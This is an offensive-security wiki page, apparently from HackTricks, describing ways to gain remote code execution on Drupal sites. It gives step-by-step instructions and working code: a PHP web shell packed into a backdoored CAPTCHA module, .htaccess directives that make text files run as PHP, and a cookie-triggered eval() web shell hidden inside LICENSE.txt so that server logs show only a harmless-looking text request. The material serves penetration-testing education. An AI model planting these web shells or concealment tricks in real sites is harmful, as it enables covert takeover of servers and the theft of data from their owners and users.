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307 lines
13 KiB
Markdown
307 lines
13 KiB
Markdown
# Drupal RCE
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{% hint style="success" %}
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Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
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Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>Support HackTricks</summary>
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* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
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* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
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* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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{% endhint %}
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## With PHP Filter Module
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{% hint style="warning" %}
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In older versions of Drupal **(before version 8)**, it was possible to log in as an admin and **enable the `PHP filter` module**, which "Allows embedded PHP code/snippets to be evaluated." But from version 8 this module is not installed by default.
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{% endhint %}
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You need the **plugin php to be installed** (check it accessing to _/modules/php_ and if it returns a **403** then, **exists**, if **not found**, then the **plugin php isn't installed**)
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Go to _Modules_ -> (**Check**) _PHP Filter_ -> _Save configuration_
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 (1).png>)
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Then click on _Add content_ -> Select _Basic Page_ or _Article -_> Write _php shellcode on the body_ -> Select _PHP code_ in _Text format_ -> Select _Preview_
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.png>)
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Finally just access the newly created node:
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```bash
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curl http://drupal-site.local/node/3
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```
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## Install PHP Filter Module
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{% hint style="warning" %}
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In current versions i't no longer possible to install plugins by only having access to the web after the default installation.
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{% endhint %}
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From version **8 onwards, the** [**PHP Filter**](https://www.drupal.org/project/php/releases/8.x-1.1) **module is not installed by default**. To leverage this functionality, we would have to **install the module ourselves**.
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1. Download the most recent version of the module from the Drupal website.
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1. wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz
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2. Once downloaded go to **`Administration`** > **`Reports`** > **`Available updates`**.
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3. Click on **`Browse`**`,` select the file from the directory we downloaded it to, and then click **`Install`**.
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4. Once the module is installed, we can click on **`Content`** and **create a new basic page**, similar to how we did in the Drupal 7 example. Again, be sure to **select `PHP code` from the `Text format` dropdown**.
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## Backdoored Module
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{% hint style="warning" %}
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In current versions it's no longer possible to install plugins by only having access to the web after the default installation.
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{% endhint %}
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A backdoored module can be created by **adding a shell to an existing module**. Modules can be found on the drupal.org website. Let's pick a module such as [CAPTCHA](https://www.drupal.org/project/captcha). Scroll down and copy the link for the tar.gz [archive](https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz).
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* Download the archive and extract its contents.
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```
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wget --no-check-certificate https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz
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tar xvf captcha-8.x-1.2.tar.gz
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```
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* Create a **PHP web shell** with the contents:
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```php
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<?php
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system($_GET["cmd"]);
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?>
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```
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* Next, we need to create a **`.htaccess`** file to give ourselves access to the folder. This is necessary as Drupal denies direct access to the **`/modules`** folder.
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```html
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<IfModule mod_rewrite.c>
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RewriteEngine On
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RewriteBase /
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</IfModule>
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```
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* The configuration above will apply rules for the / folder when we request a file in /modules. Copy both of these files to the captcha folder and create an archive.
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```bash
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mv shell.php .htaccess captcha
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tar cvf captcha.tar.gz captcha/
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```
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* Assuming we have **administrative access** to the website, click on **`Manage`** and then **`Extend`** on the sidebar. Next, click on the **`+ Install new module`** button, and we will be taken to the install page, such as `http://drupal-site.local/admin/modules/install` Browse to the backdoored Captcha archive and click **`Install`**.
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* Once the installation succeeds, browse to **`/modules/captcha/shell.php`** to execute commands.
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## Backdooring Drupal with Configuration synchronization <a href="#backdooring-drupal" id="backdooring-drupal"></a>
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**Post shared by** [**Coiffeur0x90**](https://twitter.com/Coiffeur0x90)
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### Part 1 (activation of _Media_ and _Media Library_)
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In the _Extend_ menu (/admin/modules), you can activate what appear to be plugins already installed. By default, plugins _Media_ and _Media Library_ don’t appear to be activated, so let’s activate them.
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Before activation:
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<figure><img src="../../../.gitbook/assets/image (4) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
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After activation:
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<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
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<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
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### Part 2 (leveraging feature _Configuration synchronization_) <a href="#part-2-leveraging-feature-configuration-synchronization" id="part-2-leveraging-feature-configuration-synchronization"></a>
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We’ll leverage the _Configuration synchronization_ feature to dump (export) and upload (import) Drupal configuration entries:
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* /admin/config/development/configuration/single/export
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* /admin/config/development/configuration/single/import
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**Patch system.file.yml**
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Let’s start by patching the first entry `allow_insecure_uploads` from:
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File: system.file.yml
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```
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...
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allow_insecure_uploads: false
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...
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```
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<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
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To:
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File: system.file.yml
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```
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...
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allow_insecure_uploads: true
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...
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```
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<figure><img src="../../../.gitbook/assets/image (4) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
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**Patch field.field.media.document.field\_media\_document.yml**
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Then, patch the second entry `file_extensions` from:
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File: field.field.media.document.field\_media\_document.yml
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```
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...
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file_directory: '[date:custom:Y]-[date:custom:m]'
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file_extensions: 'txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'
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...
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```
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<figure><img src="../../../.gitbook/assets/image (5) (1) (1).png" alt=""><figcaption></figcaption></figure>
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To:
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File: field.field.media.document.field\_media\_document.yml
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```
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...
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file_directory: '[date:custom:Y]-[date:custom:m]'
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file_extensions: 'htaccess txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'
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...
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```
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> I don’t use it in this blogpost but it is noted that it is possible to define the entry `file_directory` in an arbitrary way and that it is vulnerable to a path traversal attack (so we can go back up within the Drupal filesystem tree).
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<figure><img src="../../../.gitbook/assets/image (6) (1) (1).png" alt=""><figcaption></figcaption></figure>
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### Part 3 (leveraging feature _Add Document_) <a href="#part-3-leveraging-feature-add-document" id="part-3-leveraging-feature-add-document"></a>
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The last step is the simplest, and is broken down into two sub-steps. The first is to upload a file in .htaccess format to leverage the Apache directives and allow .txt files to be interpreted by the PHP engine. The second is to upload a .txt file containing our payload.
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File: .htaccess
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```
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<Files *>
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SetHandler application/x-httpd-php
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</Files>
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# Vroum! Vroum!
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# We reactivate PHP engines for all versions in order to be targetless.
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<IfModule mod_php.c>
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php_flag engine on
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</IfModule>
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<IfModule mod_php7.c>
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php_flag engine on
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</IfModule>
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<IfModule mod_php5.c>
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php_flag engine on
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</IfModule>
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```
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Why is this trick cool?
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Because once the Webshell (that we’ll call LICENSE.txt ) is dropped onto the Web server, we can transmit our commands via `$_COOKIE` and in the Web server logs, this will show up as a legitimate GET request to a text file.
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Why name our Webshell LICENSE.txt?
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Simply because if we take the following file, for example [core/LICENSE.txt](https://github.com/drupal/drupal/blob/11.x/core/LICENSE.txt) (which is already present in the Drupal core), we have a file of 339 lines and 17.6 KB in size, which is perfect for adding a small snippet of PHP code in the middle (since the file is big enough).
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<figure><img src="../../../.gitbook/assets/image (7) (1) (1).png" alt=""><figcaption></figcaption></figure>
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File: Patched LICENSE.txt
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```txt
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...
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this License, you may choose any version ever published by the Free Software
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Foundation.
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<?php
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# We inject our payload into the cookies so that in the logs of the compromised
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# server it shows up as having been requested via the GET method, in order to
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# avoid raising suspicions.
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if (isset($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
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if (!empty($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
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eval($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"]);
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} else {
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phpinfo();
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}
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}
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?>
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10. If you wish to incorporate parts of the Program into other free
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programs whose distribution conditions are different, write to the author
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...
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```
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#### **Part 3.1 (upload file .htaccess)**
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First, we leverage the _Add Document_ (/media/add/document) feature to upload our file containing the Apache directives (.htaccess).
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<figure><img src="../../../.gitbook/assets/image (8) (1) (1).png" alt=""><figcaption></figcaption></figure>
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<figure><img src="../../../.gitbook/assets/image (9) (1) (1).png" alt=""><figcaption></figcaption></figure>
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<figure><img src="../../../.gitbook/assets/image (10) (1) (1).png" alt=""><figcaption></figcaption></figure>
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**Part 3.2 (upload file LICENSE.txt)**
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Then, we leverage the _Add Document_ (/media/add/document) feature again to upload a Webshell hidden within a license file.
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<figure><img src="../../../.gitbook/assets/image (11) (1).png" alt=""><figcaption></figcaption></figure>
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<figure><img src="../../../.gitbook/assets/image (12) (1).png" alt=""><figcaption></figcaption></figure>
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<figure><img src="../../../.gitbook/assets/image (13) (1).png" alt=""><figcaption></figcaption></figure>
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### Part 4 (interaction with the Webshell) <a href="#part-4-interaction-with-the-webshell" id="part-4-interaction-with-the-webshell"></a>
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The last part consists of interacting with the Webshell.
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As shown in the following screenshot, if the cookie expected by our Webshell is not defined, we get the subsequent result when consulting the file via a Web browser.
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<figure><img src="../../../.gitbook/assets/image (14) (1).png" alt=""><figcaption></figcaption></figure>
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When the attacker sets the cookie, he can interact with the Webshell and execute any commands he wants.
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<figure><img src="../../../.gitbook/assets/image (15) (1).png" alt=""><figcaption></figcaption></figure>
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And as you can see in the logs, it looks like only a txt file has been requested.
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<figure><img src="../../../.gitbook/assets/image (16) (1).png" alt=""><figcaption></figcaption></figure>
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Thank you for taking the time to read this article, I hope it will help you get some shells.
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{% hint style="success" %}
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Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
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Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>Support HackTricks</summary>
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* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
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* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
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* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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{% endhint %}
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